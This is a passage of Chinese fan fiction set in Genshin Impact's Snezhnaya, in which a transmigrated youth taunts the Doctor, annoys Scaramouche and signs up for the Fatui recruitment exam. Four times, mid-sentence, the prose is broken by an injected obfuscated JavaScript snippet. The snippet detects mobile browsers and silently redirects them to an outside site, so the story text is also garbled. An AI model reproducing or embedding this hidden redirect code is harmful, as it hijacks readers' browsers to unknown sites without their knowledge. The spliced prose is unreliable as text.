小孩子提出的问题往往比较天真,没有成年人尖锐,回答起来也更为简单。因此互动环节中抽取随机观众提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353581|183600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问,学生们被选中的概率最高。 刚才提问的是个四五岁的女孩,问的是“像你们一样当愚人众,是不是能住大大的房子、拥有大大的庄园?我长大了也想成为愚人众”。 标准答案当然是告诉小孩,愚人众只是一种身份,肩负这份职责不是为了谋财、而是为国家和人民做事;再上升高度,讲比起物质条件,我们更应当追求的是精神条件;最后加以鼓励和希冀,促使小孩树立正确的人生观和价值观。 博士自然轻松应答:“小朋友的提问很直接,在我看来……” 乘晞对台上的官话左耳进右耳出,神不知鬼不觉的挤到了小孩堆的最前排,把手高高举起。 公鸡手中握着话筒,目光扫视台下的人群。 相比于成人总可能问出刁钻的问题,他们除了准备各类话术外,甚至会在人群中安排内应,但小孩的提问就完全不用担心。 待博士回答完毕,台下响起一阵掌声,公鸡很随意的将话筒传给工作人员,工作人员也随意递给了手举得最高的银发少年。 乘晞试了试话筒的声音,“这位叔叔你好,很荣幸能够向你提问。” 人群中的散兵险些脚下一歪。 别人不了解乘晞的真实嗓音,但他是听过的。乘晞为了更形象的装小孩,特地把嗓子夹了起来,夹得散兵鸡皮疙瘩都快起来了。 “我想请问的是,”乘晞道,“你是好人还是坏人呀?” 散兵有些意外的停下脚步。 这家伙费劲凑到前排获得话筒,居然只是为了提问,提的还是如此天真简单的问题? 亏他还以为对方会干出什么诸如登台发表演说“我好喜欢散兵大人”、抢过话筒大喊“愚人众能不能不要不识好歹劝你们把我破格录取不然我跪下来求你们”之类的疯事。 乘晞的问题甚至比上一个小不点提出的都好回答。 “这位小朋友”,博士几乎用不到思考便开口,“你要知道,世界上没有任何事情是绝对的。” “就像每一条路都有左右两边,我们看待人和事也总会有正反两面。” “世界上不存在绝对的好人与绝对的坏人,如果一定要给出答案的话,我想,我会说我介于二者之间。” “懂了”,乘晞露出一个恍然大悟的表情,“原来你是间(四声)人。” 15. 15 人群在一瞬间寂静。 乘晞已经放下了话筒,颇为无辜的眨了眨眼。 穿越前每每想到博士在散兵过去的经历中扮演过什么角色,他就特别希望对方能亮血条。一朝来到提瓦特,这个剑不贩不是璃月人。 博士第一次认真打量起提问的银发少年来。 上一个对他这般出言不逊的人,还是个在实验室里用来试错的实验对象,后来因为承受不住超过剂量的注射死无全尸。 乘晞冷不丁打了个寒颤。 他谨慎的盯着博士,察觉到对方的试管缀饰似乎在发光,晃得他一阵眩晕。 周身的空气明明恍若无物,却有什么东西如同实质般悄然凝结,令人根根汗毛倒竖。 第六感告诉乘晞,这是杀意。他想要挪动脚步,却发现自己如同被定住了一般,双腿完全不听使唤。 身后忽然有一双手伸来。 将乘晞一捞、再一放。 乘晞的视野被浅色斗篷的布料遮挡,是散兵将他塞去了身后。 那股锁定乘晞的压迫感也因此消失。 博士显然对散兵的出现十分意外,他立在台上,目光居高临下的落在对方脸上。 但散兵似乎连多看一眼同事的兴趣都没有,他将乘晞从困境中解救之后,拉着对方转身就走。 公鸡已经拿回话筒,波澜不惊的开始了圆场。 一边暗自思忖这位同僚今天怎么回事,难不成任务不顺心情不好?要知道,散兵虽然一向平等的看所有人不顺眼,但挑在眼下这种公开场合故意拆台也实属罕见。 公鸡从“间”字作为多音字有两种读音,又讲回看人待物总有两面的主题,将出现的风波平稳带过,场内的气氛重新活跃起来。 乘晞被散兵拽着走,夹着的声音还在角色里没出来:“谢谢哥哥。” “……”散兵拽他的力度更大了。 乘晞“嘶”了一声,终于恢复正常,说“轻点,疼。” 但散兵没搭理他,一路将他带出了人群。 直到僻静之处,散兵才将乘晞松开。 散兵的动作并不温柔,乘晞顺着惯性一顿,险些撞在对方身上。 散兵转过身,“你作什么死?” 乘晞小心翼翼的和他对视,两手揣在一起,浑身上下传达着“已老实”的气息。 散兵的语气不怎么好:“你知不知道,他刚刚是真的想杀了你?” 他完全不明白乘晞原本好端端的,为什么会突然去挑衅博士。 散兵十分确信,以博士的行事风格,丝毫不会介意在公共场合搞出人命,反正万能的市长先生可以提供一百零八种不同的善后方式。今天如果不是他在乘晞身旁,后果不堪设想。 乘晞心虚:“我也是刚刚才知道。” 虽然嘴上一时爽,但生死关头走过一遭,多少会不可避免的泛起后怕。 他察觉到散兵生气,扯了下对方的衣角,“下次不会了。” 一边在心里补充,但下次还敢。下次他会站到更安全的地方再骂。 散兵看得出这份保证没有多少诚意,甩开对方的手。 “你脑子里到底在想什么?” 这是当真气得不轻。 乘晞小声道,“不是有你保护我嘛。” 散兵那股无名火更盛。 “我还有公务要忙,你自便。” 他说完,头也不回的离开了。 乘晞怔怔的看着对方走远。直到银白斗篷消失在车帘后,车辆逐渐远去,他才回过神。 他没想到散兵反应会这么大。虽然生气的样子也那么好看、眉端下压时眼际的红令人更加心动,但……到底还是因为自己而生气了,乘晞轻轻叹了口气。如果可以的话,他希望对方的情绪里永远都不要有阴霾。 * 散兵那边。 见到上司与乘晞一同离开,却独自回来,珍妮丝没忍住问了句,“大人……那个,乘晞呢?” 珍妮丝就是照顾过发烧的乘晞的黑衣女子。 散兵凉凉道,“怎么,你很关心他?” “也不是,”珍妮丝讪讪,“他要是惹您生气了,肯定是他的错。但他孤身一个人,对这边人不生地不熟,无处可去,而且没有带任何行李。现在城里天寒地冻的,万一他饿晕在街头……” 珍妮丝对上散兵的眼神,声音越来越小。 散兵扭开头没说话。 他也不知道自己在生什么气。 ——“不是有你保护我嘛”。银发少年的声音还回响在他耳边。 散兵不信乘晞不清楚博士有多么危险。就算对方真的失忆,自己在车内介绍的时候也有警告过。 可那家伙还出去作死。就凭自己的一句承诺、一句根本就没保证过一定会兑现的承诺? 他怎么敢。 他知不知道以他的情况对上博士毫无还手之力,若非自己有同等级的「权柄」能及时与之对抗,博士差点真的会要他的命。 凭什么这么信任自己…… 凭什么如此轻易的、毫无保留的信任自己…… 良久。 散兵忽然说,“算了,你过去看着点。” 虽然他没有明讲指的是什么,但听话者心知肚明。 珍妮丝立刻应下:“好嘞。” “那家伙要是真的饿死了,”散兵哼了一声,“记得给他收尸。” 珍妮丝:“明白。” 一边在心里把上司的话翻译出来——“别让那家伙饿着”。 车辆停在至冬宫外。 散兵下了车,带着几位一同汇报的下属走入大门。 好巧不巧,沿路撞上从活动现场回来的博士。 散兵装没看见,径直往前走。 “斯卡拉姆齐。”博士叫住了对方。 散兵抬眼:“怎么?” “你今天发了什么疯病,”博士显然看不惯对方这副若无其事的模样,“特地派人来活动现场骂我?” 他见散兵将那出言不逊的银发少年护在身后,自然默认此事是由对方主使。 散兵也没否认,“他说得有错?” “别以为我看不穿你的小心思,”博士冷冷道,“如此肤浅的挑衅,如此幼稚的行为,本质不过将你的无能尽数展现。” 就这样稳稳背了一口锅的散兵:“……。” “你看起来有些气急败坏,”散兵慢悠悠的说,“对这样一句既肤浅又幼稚的话耿耿于怀,论无能二字,我恐怕还不及于你。” “两位,”丑角插入了这段核谐的对话,“都在啊。” 他从里面出来的时候,远远就瞧见散兵与博士带着人相对而立,不免过来看一眼。毕竟上回这两人进行友好交流的时候弄塌了一栋楼,他可不希望至冬宫也出现这种事故。 丑角问散兵,“几日不见,任务如何?” “顺利取回,如期完成。”散兵道。 “讲演刚结束么?”丑角看向博士,”反响怎样。” 博士:“一切都好。” 两人回答过丑角后,当着统括官的面继续对彼此进行亲切问候。 一个建议对方去医院挂个号看看脑子、只知道和深渊战斗久而久之会变成弱智,另一个建议对方去精神病院办理常驻证明、祝愿对方这次的实验大失败把自己和那团深渊样本一样搞成一滩烂泥。 “……” 丑角留意了一下散兵身后的下属,清一色都身着愚人众制服,并没有什么陌生的脸孔。 听女皇说,降临者当时与散兵在一起,但现在看来,或许二人已经分开,还需寻找与之接触过的人了解情况。 丑角离开至冬宫,朝城中某处愚人众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353582|183600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 据点而去。 据点内,桌面上堆着满满的热气腾腾的食物,众人正大快朵颐。 行路疲惫,任务结束后众人便于此休整。几日没能吃到新鲜的食材,回到都城难免大动馋虫。 他们吃的正香,却发现通讯器用不了了,彼此询问一番,发现大家都没有信号。 还没等众人觉得奇怪,便有一队人鱼贯而入,将他们彼此隔离开了。 众人:? 他们在愚人众这么多年,自然能意识到这是审讯的前兆,但没人想到这种事情会落到自己身上。 隔离审讯会在进行讯问前将嫌疑人分开,可避免他们的答案对旁人造成影响,或彼此间互通消息造成干扰……但这不是重点,重点是他们应该也没犯事吧? “诸位打扰了,”来人是丑角,“请放轻松,只是询问一些情况。” 他简要交代完来意,便进入了不远处的谈话室。 众人将信将疑,想不出究竟什么事情能让这位愚人众的领导者出手,只好安静的等待自己被叫去房间。 第一位进房间的,是那位戴眼镜的黑衣人。 他才从情报部转入后勤部不久,心中惴惴不安,不清楚自己的工作是不是又有哪里出了纰漏。 黑衣眼镜人紧张的在丑角对面坐下,“统括官大人,请问您想问的是……” “听闻此次任务中,你们大人偶遇了一位银发少年,”丑角道,“我想了解相关的事情。” “确有此事,”黑衣人回答,“那个少年叫乘晞。最初见到他,是在目的地的庄园内……” 黑衣人进行起汇报来,原本的紧张也逐渐消失,很快大致讲述了乘晞的来历。 这些事情丑角都有所耳闻,以他的耳目在半天之内,便将乘晞的相关信息收集了多半。 但有关对方与散兵之间的细节,非同行者不会知晓。 丑角便问,“你知不知道,这位乘晞与你们大人相处得怎样?” “属下非常知道。”黑衣人回答。 这个问题简直问在了他的舒适区,黑衣人推了下眼镜:“那天属下半途遇见魔物,急于寻找散兵大人,因此忘记了事先知会。却在先开车帘后,刚好撞见了大人和乘晞——” “散兵大人将乘晞压在车窗旁,几乎整个人覆在对方身上,留不得一点空隙……喘息声音交织着,双方亲密无间……” “银发少年半张着嘴,似乎难以承受,胸膛剧烈起伏,已经濒临极限……” “他气若游丝的发出求饶声音,说自己真的要死掉了,但也没能得到上位者的怜悯……车帘无声垂落,遮住了内部的景象,却遮不住乘晞隐忍的痛呼……” 丑角听得面部抽搐。 “可以了。”他艰难的维持住自己的表情管理,“谢谢你的配合,你可以离开了。” 他严重怀疑这位成员是不是被魔物侵蚀了脑子,决定换人再问。 于是,一个接一个队员先后被请到了他面前。 黑衣人A:“乘晞对散兵大人情根深种,多次表达了倾慕爱意。” 黑衣人B:“当着所有人的面,乘晞和散兵大人提出想和对方去私密场合讨论私密问题,执行官大人同意了。” 黑衣人C:“乘晞曾亲口表明,他早已对散兵大人沦陷,并愿意交付余生。”[1] 黑衣人D:“散兵大人曾对乘晞说,他会对对方负责。” 黑衣人F:“听说乘晞与散兵大人同处一车,发生了某种不太方便描述的事情。事情结束后,散兵大人还给乘晞叫了治疗师。” 黑衣人G:“属下就是那个治疗师。乘晞手腕上残留着因掐捏造成的红色痕迹。除非他有自虐倾向,否则绝不是自己掐出来的。属下还不小心听到,乘晞和散兵大人独处时,二人探讨‘情趣’。”[2] 丑角陷入了深深的沉默。 16.16 餐馆门口。 此刻正值饭点,店内的生意还算热闹,时而有食客进出。 严冬总是与烈酒相配,空气中不乏交杯换盏之声。餐馆内的壁炉燃烧正旺,走近便能感受到热气的熏蒸。 门外有几张桌椅,上方支着遮阳棚,桌面中央立着招牌菜色的广告牌。若在其他季节室外就餐或许会受欢迎,但现在仅有零星的几个人坐在这里醒酒。 有个醉汉从门内走出,步伐摇摇晃晃的,看到不远处的年轻姑娘,顿时朝对方挥手,“那个金发的美妞,来一起喝一杯啊?” 貌美的姑娘闻声扭过头,在看清楚醉汉的脸后,不加掩饰的翻了个白眼。 在搭讪之前能不能有些自知之明?长成这种模样也好意思朝她开口,难道家里没有镜子吗? 乘晞对至冬城内的地理环境并不熟悉。 他与散兵分开后,便沿着主干道前行,随意逛了一会。 主干道两侧多为一些行政设施诸如各类职能部门,绕过一个街区后才逐渐能看到商铺的影子。 乘晞也有些饿了,顺着食物的香气走向最近的一家餐馆。 他瞧见门外的空桌上有广告立牌,便走近去看,拉了一把椅子坐下。 这家店以酒类和肉食为招牌,乘晞掠过上面的一长串酒名不看,目光落在下排的主食上。他对穿越之前的记忆全无,并不清楚自己酒量如何,虽然这家店的酒品据说是本地特产,但独自一人在陌生的地方饮酒显然不是明知的选择。 主食囊括了肉类的各种制法,诸如熏制、烤制、烩制、腌制、煎炸、蒸煮,肉质的种类也应有尽有。乘晞看得正眼花缭乱,殊不知他在看菜品的同时,旁边人也在看他。 金发姑娘早在乘晞沿路走来的时候,便注意到了这位少年。 少年银灰的长发被风扬起,从纷飞的飘雪中而来,远看仿佛从童话故事里走出来的仙子。 近看更是惊为天人。 少年的穿着并不像至冬本地人的风格,比起常见的厚重冬装,对方的衣袍更为飘逸与轻盈。这样的形制容易让人联想到话剧登台的演出服,但衣摆缀着的金属配饰昭示着用料的不菲,搭配领口与袖口精致的重重花边,更让人觉得对方应当是某个贵族最年轻的继承人。 少年似乎注意到了她的打量,扭头看过来时,对她微微颔首。 与对方那双金色的眼眸对视之时,她只觉得心头被什么东西砸中——对普通人而言,应当是指坠入爱河了。 果然比起本国人的基因,还是异乡来客更具有吸引力。金发姑娘撑着桌面起身,向对方靠近了一步,主动出击道,“你一个人吗?” 乘晞移开落在菜单上的目光,向对方点了点头。 “喜欢喝酒吗?我是这家店的常客。”金发姑娘大胆邀请,“要不要同我小酌片刻?我有上好的酒,想听一听你的故事。” 察觉到对方的潜台词,乘晞礼貌拒绝道,“谢谢,不过我不打算喝酒。” “那我们共进晚餐怎么样?”金发姑娘试图挽留,“你应该是第一次来这里吧,我请你吃特色菜。” “抱歉,”乘晞正色道,“但我已有家室。” 金发姑娘闻言愣住,“可是,你看上去——” 她想说对方看上去年纪不大,有家室大概也只是推辞的由头。但话没说完,就被“砰”的拍桌声打断。 墙角那醉汉不知什么时候过来了,再度向金发姑娘发出共饮的邀请。 金发姑娘自然不同意。 醉汉距离乘晞更近,神色不善的盯着这位少年。乘晞能闻到空气中有些刺鼻的酒气,偏头避开了风口。 醉汉想要继续纠缠,还频频向乘晞投来敌视的目光。 乘晞不理解这股莫名其妙的敌意源自哪里。 他上下打量了醉汉好一会,终于没忍住问道,“你尿是哑光的?” 金发姑娘反应了好几秒,才明白过来这句话是什么意思,不由得哑然失笑。 她原本以为,以这少年神仙人物似的长相,是适合在教堂的彩色花窗旁、神圣天使光环笼罩下诵读经文的类型,口中讲出的怎样也应当如同唱诗班的轻吟低语,却不成想居然这么接地气。 醉汉被乘晞的话激怒了。 他猛然抄起桌面的广告立牌,朝乘晞劈头砸来。 乘晞迅速侧身,避开的对方的袭击,并向后退开安全距离。 但再退就是那位金发姑娘的位置。这姑娘清楚醉汉为何发难,无外乎看见感兴趣的女性对他不屑一顾却对别人发出邀请,对比之下相形见绌,怒上心头才借着酒意动手。她大概从没遇见过这种一言不合就使用暴力的情况,一时间被吓呆了。 乘晞清楚,为免伤及无辜,自己不能再退。他谨慎的盯着醉汉的动作,沿着木桌朝反方向绕开。 乘晞面上一副受惊的神色,实际在衣袖遮掩之下,他手掌虚拢,面板背包已然在意识中唤起。 醉汉见乘晞表情恐惧,顿时觉得在对方身上找回了场子,攥攥手指发出咯吱声响,朝乘晞一步步逼来。 就在乘晞准备取出什么东西前,有风声从他耳边划过。 一枚碎砖砸中醉汉的胸口,令醉汉连退数步,撞在门框上。 醉汉吃痛,酒精上头的脸色发红,看见丢砖块的是个高挑女子之后,更是带着火气重新站起。 他手里捏着砖块,决定猛丢回去,下巴却突然感到炙烤,他的胡须毫无预兆的燃烧了起来。 醉汉吓得丢掉砖块,手忙脚乱的从路边抓起一把碎雪,按在胡须上灭了火。 如此丢面子的行为刺激了他脆弱的自尊心。醉汉挥起拳头,“你这个女人,竟敢——” “哦?”来人“啪”的打了个响指,一团火元素出现在指尖,“我怎样?” 醉汉这才看清楚,对方的手臂处有一枚暗红色的神之眼。 酒意上头不过是他行不轨之事的借口,意识到对方与自己实力悬殊之后,他吓得酒也不醉了,先前的嚣张气焰全无。 女子收起了指尖的火焰,“再敢四处骚扰,就烤了你的舌头。” 醉汉跌跌撞撞的扶着墙逃跑。 乘晞觉得这讲话声音有些耳熟。 等醉汉离开,女子也转过身,对他温和一笑,“还没吃饭吧,一起?” 金发姑娘呆呆的看着银发少年与那女子走入店门。 自己的心动对象接受了别人的邀请,令她不免有些失落。但见那女子面对少年的时候全无面对醉汉的迫人气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371619|183600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势,连讲话都温柔似水,她也不得不承认在英雄救美方面,恐怕对方更胜一筹。 等乘晞的身影彻底消失,金发姑娘也收敛了脸上装出来的神色,于通讯器上输入: [观察记录1:胆小怕事,疑似无应变能力,无战斗经验。] 乘晞同仗义出手的女子在店内的空桌旁落座,“刚才真的谢谢你。” “不必客气。”女子答。 乘晞认出对方是散兵下属的愚人众成员,在他生病时还给予了颇多照拂的那位。此刻对方的头发依然利落的盘起,但已经换下了惯常的黑衣,身着常服。 “还不知道,你叫什么名字?” “珍妮丝。” 珍妮丝为这次偶遇找了个合适的理由,“忙完公务错过了工作餐,我只好出来找地方吃饭。” 乘晞顺势道,“正好,我请你吧。” 珍妮丝想要拒绝,因为她记得对方没有带任何盘缠,但直接讲出来又怕伤人自尊,一时间不知该如何开口。 乘晞并没有这样的烦恼。他在脑海中打开背包,选择摩拉取出,放在膝上的手掌中顿时落入微凉的金属。 感谢穿越带来的游戏面板,他的物资堪称富裕。 见少年从衣服里掏出摩拉付钱点餐,珍妮丝的忧虑顿时消散。 她想起上司的吩咐,主动与乘晞提起了话题。 寒暄过后,珍妮丝委婉的打探乘晞的动向,“这或许是我们最后一次见面了,不知道未来你会去哪里?” 乘晞摇摇头,“我还是希望能和小姐你常常见面的。” 珍妮丝“诶?”了一声,还以为这是句俏皮话,但乘晞的补充令她意识到并非如此: “我想要加入愚人众,”少年语气中的认真不似作伪,“最好能投入散兵大人麾下。” “你才多大?”珍妮丝笑道,“等成年了再想愚人众的事情也不迟。” “要我觉得,壁炉之家是你可以考虑的好去处。自新一代「仆人」阿蕾奇诺大人推翻了先代后,壁炉之家由她接管。”她真心实意的为对方着想,“虽然现在仍百废待兴,但「仆人」像对待亲生子女一般对待那里的孩子们。壁炉之家收容无家可归但有志为愚人众效力的孩童,接受系统的培养与训练后,假以时日也能够成为愚人众的正式成员。” “我都可以结婚了。”乘晞反驳对方对他年龄的质疑。 珍妮丝发出惊叹的语气词,“真的吗?完全看不出来。” 乘晞坚定重复:“千真万确。” 毕竟他万事俱备,只欠和散兵结婚。 珍妮丝艰难的接受了这个事实,猜测对方可能和自己的上司一样,年龄完全不显露在相貌之中。 她揣着心事,回到据点与散兵汇报了乘晞的打算。 散兵听完,语气波澜不惊道,“他肯定别有所图。” “想要加入您的麾下,就一定怀有别的目的吗……”珍妮丝没忍住问,“有没有一种可能,他就是单纯的喜欢您?” 散兵讽刺的笑了一下,“绝无这种可能。” “为什么?”珍妮丝不解。 散兵没有回答,只是垂下眼。 这个世界上哪怕有任何人值得被喜欢,都不可能是他。 17.17 “其实,还有一件事,属下不知道当不当和您讲……”珍妮丝吞吞吐吐。 “说。”散兵道。 “乘晞他……他可能已经结婚了。”珍妮丝回答。 早先在为对方解围之前,她就听到了乘晞与旁边金发姑娘的对话。那时乘晞并未察觉到她的存在,无心中说出的话不太可能作伪。她也想过那可能只是个借口,但后续在吃饭过程中乘晞提起自己的年龄,侧面验证了这句话的真实性。 但想到对方之前表现出的种种……她始终在纠结是否和上司汇报,可不遗漏每一个细节是身为下属的本分,她最终还是如实告知。 珍妮丝小心打量着散兵的神色,可惜对方垂着眼的姿态未变,额前的碎发覆下阴影,将一切神色尽数隐藏。 口口声声和自己说过那么多引人误会的话……原来已经结婚了,也难怪经验丰富。 真是一个满口谎言的骗子。散兵想。 愚人众招新工作在明日正式开启,“留意一下他的考核,注意不要暴露。” “是,大人。”珍妮丝应下。 “他既然对通过考核如此有信心,恐怕早已有所谋划。这是钓出他背后势力的大好机会。”散兵道。 以乘晞在神像旁大战史莱姆展现出的实力来看,仅凭他自己通过愚人众的考核堪称天方夜谭,届时多半会有人相助。 珍妮丝有些担忧,“今年的考核,恐怕比往年都……” 散兵没什么耐心的摆摆手,“死了你就收尸。” * 冬日旅店。 这是至冬城内最大的旅店之一,位置并不处于热闹的街区,近日却来客不绝,只因愚人众的纳新工作开启,远道而来的报名者可在此处获得免费的住宿。 乘晞一路打听,来到了旅店门前。 才跨过门槛,他就感觉到周围目光纷纷落在自己身上。 为避免闲杂人等混入借宿,只有确认参加考核的来客才能拥有留宿资格。他们会获得一道印在手背上的魔法记号,以此作为凭证去前台登记入住。 那魔法印记与报名者建立了独特的联系,还可作为身份识别之用。 众人打量着银发少年光洁的手背,不免问道,“小兄弟,你走错路了吧?” “这里可不是什么小公子少爷们来住的豪华酒店。” 乘晞摇摇头,“愚人众纳新不在此处吗?” “在是在,”众人反驳道,“但你来干什么?” “当然是来报名了。”乘晞说。 “你来错地方了。”众人道,“参加笔试或者其他测验的话,要去城中心的特殊层次考核点报名,而不是来这里。这里是给应召兵士准备的留宿点。” 愚人众每年都会向队伍中吸纳人才。其中不乏各领域的杰出人士,比如今年博士与木偶各自执掌的研究部门招徕了不少顶尖学府毕业的学者,众人见乘晞的长相和气质,自然而然将他归属于这部分精英人士之列。 有关招新的详细消息乘晞也才了解到不久,他自己并不符合特殊人才的报名标准,况且这条报名渠道即便最终被选中也是前往研究部门,根本无法和散兵产生任何交集,这与乘晞加入愚人众的初衷南辕北辙。 由于职业的风险性和人员的流动性,愚人众士兵每年都需要数目可观的新鲜血液,以填补各位执行官手下队伍的空缺。按照惯例兵士考核将最终成绩分为三档层次,排名最前的有望进入精英队伍,供职于愚人众高层,且若有强烈意愿倾向,可自行选择为哪位执行官效力;靠中的层次则作为预备人员培养,待训练显出成效后由各位执行官派出下属挑选,按需拨人调入自己的队伍;最末的一档多半充当底层兵士,被派送到遍布提瓦特的各类探索先遣队伍之中。 自了解到这条消息起,乘晞前往报名的念头便坚定无比。 “我就是来参加兵士考核的。”乘晞对建议他离开的人回答。 像来时路上那样与散兵共乘,不过是自己强求而来的短暂一程。他想要按照至冬的律法、根据愚人众的规则,堂堂正正、长长久久的站到对方身边。 “开什么玩笑?” “这又不是儿戏,你拿考核当游乐场吗……” 乘晞并不理会周围的质疑,“无论如何,我都要去试一试。” 他正要往里走,旁边却忽然有人向他出手。 乘晞几乎是凭借本能的侧身一闪。 拳风擦着他的面颊而过,原本白皙的肌肤被挫得发红,泛起刺痛。然而乘晞无暇顾及这些,他立刻转身躲避接连而来的一击。 可惜从身后袭来的掌风不过是个幌子,对方真正的一掌已经迎面而至。 两相夹击之下,乘晞毫无躲避的余地。 意识里,面板已经唤出。乘晞在脑中将进门之后的场景迅速回顾了一遍,又重新将面板折起。 在极短暂的思考过后,他放弃了任何躲避或反击,而是站在原地没动。 偷袭者的动作带着冷意,直逼乘晞的脖颈。 乘晞的呼吸在一瞬间停止。但手臂依旧垂着,无人知晓他双腿肌肉早已绷紧,脚步却没有后退半分。 那冷意停在只差毫厘的位置,没有再进一步。 乘晞不闪不避,甚至连紧张之下喉结吞咽的动作都不曾出现,只是抬起头与对方对视。 偷袭者身形高大,手臂的肌肉精壮紧实。留着灰色平头,浓眉下一双锐利的眼睛。 他弹了一下手中持着的东西,金属嗡鸣声响起。是随手从桌面拿起的一支餐具。 灰发男人声音低沉,“我手里如果是一把武器,你现在就已经没命了。” “但没有如果。”乘晞轻声回答,“你拿的不是武器,我也不会没命。” 灰发男子盯着他看了片刻,不知在思量什么。 乘晞作势要迈步,“让一让,你当我路了。” 远处桌案旁,金发姑娘在通讯器中录入: [观察记录2:具有强烈意向加入愚人众,体术水平几近于零。] 她熄灭屏幕,随后如同才意识到发生了什么那样,惊讶的站起来,谴责那位突然发难的人,“这是在做什么,好好说话别动手啊!” 乘晞闻言扭过头,认出对方早些时候在餐馆门口与自己有过一面之缘,“是你?” 金发姑娘几步上前,挡在乘晞身前,将对方与偷袭者分隔开来。 面对壮硕男人天然带来的压迫感,她似乎有些畏惧,连声音都在颤抖,但还是将乘晞保护在身后:“这里……大庭广众之下,这么多人都看着呢,你不要随意欺负别人!” 乘晞断无被一个弱女子保护的道理。他绕至对方身旁,微微侧了半个身位将对方挡住,自己与偷袭者对峙。 “不要误会,我对你并没有恶意,”灰发男人低沉的声音再度传来,“只不过想告诉你,愚人众兵士考核并非逞口舌之能,你这种水准,前来参加毫无意义。” 乘晞并不退让,“我要是非参加不可呢?” 灰发男子又看了他片刻,向后退开,让出了面前的路。 乘晞终于向里面走去。 “刚才真是吓死人了,”金发姑娘关切道,“你没事吧?有没有受伤?” 通过她捂心口的动作,乘晞注意到对方的手背上已经烙印了魔法痕迹。 他眉头微微凝住,“你也报名了?” 但转念一想,既然能在此处再度相遇,对方除了报名也不会有其他来冬日旅店的理由。 “是啊,能再次遇见也是缘分。”金发姑娘自我介绍道,“我叫金瑞拉。” “最开始见到你的时候,还以为你是来这边旅游的呢,”她好奇道,“没想到你居然来报名愚人众。” 乘晞点点头,同样自我介绍,也因对方的报名感到奇怪。这姑娘明显一副弱不禁风的模样,居然会对加入愚人众有兴趣。 金瑞拉似乎察觉到对方的疑惑,“很意外吧?不过这是我深思熟虑之后的决定。” 她解释道,“在很久以前,我经历过许多糟糕的事情……是愚人众拯救了我。所以我想要加入愚人众,哪怕面临粉身碎骨……牺牲我的一切,也在所不惜。” 乘晞从这话中听出了一股悚人的狂热。 但他扭头再看的时候,金瑞拉正笑盈盈的望着他,温婉的脸上只有坚定和纯然。 乘晞便也冲对方微笑。他缓缓吐了口气,但愿只是自己想多了。 “你先去报名吧,回来再聊,”金瑞拉道,“我就在那边的位置上等你。” 说罢也不等乘晞拒绝,转身离开了。 角落里,有人打量着乘晞和金瑞拉,“我们好端端的白菜,怎么有猪去拱。” 邻座男人没听清,“什么白菜?” 打量者迅速收回目光,对邻座毫无破绽的笑了一下,“我说,你罗宋汤里的白菜看着真好吃。” 一边在心里暗暗吃惊——好敏锐。就在刚刚,乘晞旁边那个金发姑娘如同察觉到被人注视一般,猛然朝她所在的方向扭头。 若不是她反应迅速,现在恐怕会正好与之对上视线。 “这菜我还没动过。”邻座男人有些腼腆,“你要是喜欢,可以来尝一尝。” 他也是今年的报名者之一。旁边的女士刚来此处不久,落座后就与他闲聊,爽朗的性格十分招人喜欢。他还隐约注意到,女士的身上有神之眼。他作为一个普通人,也不免生出几分抱大腿的心思。 “贾妮丝,”他试着叫出对方的名字,“我可不可以和你——” “多谢了,不过不必。”贾妮丝大概没听到后半句,只是回绝了他先前的邀请,“我已经吃过饭了。” 说罢起身,朝报名的方向去了,与折返回来的金瑞拉擦肩而过。 乘晞在指引标识围出的场地内转了一圈。 报名的队伍共有几列,每一队都不长,但没排队的人却有不少,也不知道是不是在犹豫。 人们互不相熟,只有低低的说话声音。 乘晞路过,隐约听见“提问”、“没成功”、“被退回来了”等字眼。 在乘晞迟疑的时候,肩膀被人拍了一下,“你是来报名的吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377503|183600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 乘晞回身去看,陌生的声音,陌生的面容,是位不认识的女士。“是的。您找我是——” “和你说话就一定要有什么理由吗,”贾妮丝笑道,“你还真是对自己的长相毫无认知。从一进门开始,就连光线都跟追着你打光似的,大家都在往你身上看。” 乘晞没想到自己引起了多少注意:“……也不至于这么夸张。” 